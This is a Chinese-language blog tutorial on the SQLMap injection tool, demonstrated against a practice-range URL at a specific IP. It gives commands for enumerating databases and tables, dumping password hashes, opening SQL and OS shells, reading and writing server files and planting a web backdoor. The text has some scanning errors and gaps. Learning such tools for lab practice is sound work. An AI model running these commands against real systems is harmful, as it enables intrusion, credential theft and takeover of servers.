SQLMap
是一个自动化的SO
L注入工具,其主要功能是扫描、发现并利用给定URL
的SQL
注入漏洞,内置了根多绕过插件,支持的数据库有MySOL、Microsoft Access、IBM DB2、SQLite、Firebird、PostgreSQL、Microsoft SQL Server.Sybase
和SAPMaxDB。SQLMap
采用了以下5种独特的SQL
注入技术。
Union
的情况下的注入。
SQLMap
的强大的功能包括数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。SQLMap
的功能强大到让人惊叹,当常规的注入工具不能利用SQL
注入漏洞进行注入时,使用SQLMap
会有意想不到的效果。
直接输入
sqlmap
,这里我使用kali
演示
sqlmap下载
**由于有许多人没有sql
环境,我这里以真实靶场为例,靶场地址,⚠️⚠️不同人注册后靶场地址不同,注意区分,
点击后进入如下目录
这里我们只讨论
sqlmap
的使用,不考虑解题过程
sqlmap -u 网址;(当网址后面的参数大于两个的时候,网址要加上英语双引号)
有些使用sqlmap.py
,及把sqlmap换成sqlmap.py
,不同sqlmap
不同
sqlmap -r 文件名(文件名要有正确的路径)
在这里我们可以使用sqlmap进行抓包,然后进行验证
sqlmap -u 网址 --dbs
在这里我们看到了5个数据库,进入mysql
进行测试
可以看到mysql
数据库下面有多个表,进入user
表下面看看
sqlmap -u 网址 -D 数据库 -T 表名 --columns
可以看到user
表下面有多个字段,其中包含敏感字段password
,我们可以试一下窃取password
sqlmap -u 网址 --passwords
sqlmap -u 网址 --current-db
其实我们在进行扫描的时候还可能得到其他重要的信息,比如语言版本,数据库版本,因为有些数据没有进行更新,存在一定的漏洞,如下:
sqlmap -u 网址 --current-user
--level 等级
一共有五个等级(1~5),当然探测等级越高,使用的时间越久,这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookies在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试
不确定哪个Payload或参数为注入点时,为了保证全面性,建议使用高的level值。
sqlmap -u http://124.70.71.251:41123/new_list.php?id=1 --level 2
--is-dba
查看当前用户是否为管理员权限
sqlmap -u http://124.70.71.251:41123/new_list.php?id=1 --is-dba
--roles
列出数据库管理员角色:
sqlmap -u http://124.70.71.251:41123/new_list.php?id=1 --roles
--referer
查看数据库用户的角色:
sqlmap -u http://124.70.71.251:41123/new_list.php?id=1 --referer https://www.baidu.com
--sql-shell
执行指定的
sql
语句:select * from user
sqlmap -u http://124.70.71.251:41123/new_list.php?id=1 --sql-shell
--os-cmd,--os-shell
在数据库为MySOL、PostgreSOL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,如果数据库为MySQL、PostgreSQL,SQLMap上传一个二进制库,包含用户自定义的函数sys exec)和sys eval,那么创建的这两个函数就可以执行系统命令。在Microsoft SQL Server中,SQLMap将使用xp cmdshell存储过程,如果被禁用(在MicrosoftSQLServer2005及以上版本默认被禁制),则SQLMap会重新启用它;如果不存在,会自动创建。
用–os-shell参数可以模拟一个真实的Shell,输入想执行的命令。当不能执行多语句时(比如PHP或ASP的后端数据库为MySQL),仍然可以使用INTO OUTFILE写进可写目录,创建一个Web后门。–os-shell支持ASP、ASP.NET、JSP和PHP四种语言(要想执行改参数,需要有数据库管理员权限,也就是–is-dba的值要为True)。
--file-read
该命令用于读取执行文件,当数据库为MySQL、PostgreSQL或Microsoft SQLServer,并且当前用户有权限使用特定的函数时
--file-write --file-dest
该命令用于写入本地文件到服务器中,当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,上传的文件可以是文本,也可以是二进制文件。下面以一个MySQL的例子复习–file-write–file-dest参数的用法。
由于小编现在技术有限,绕过方法以后跟新,想要看后续的,可以关注一下博主哦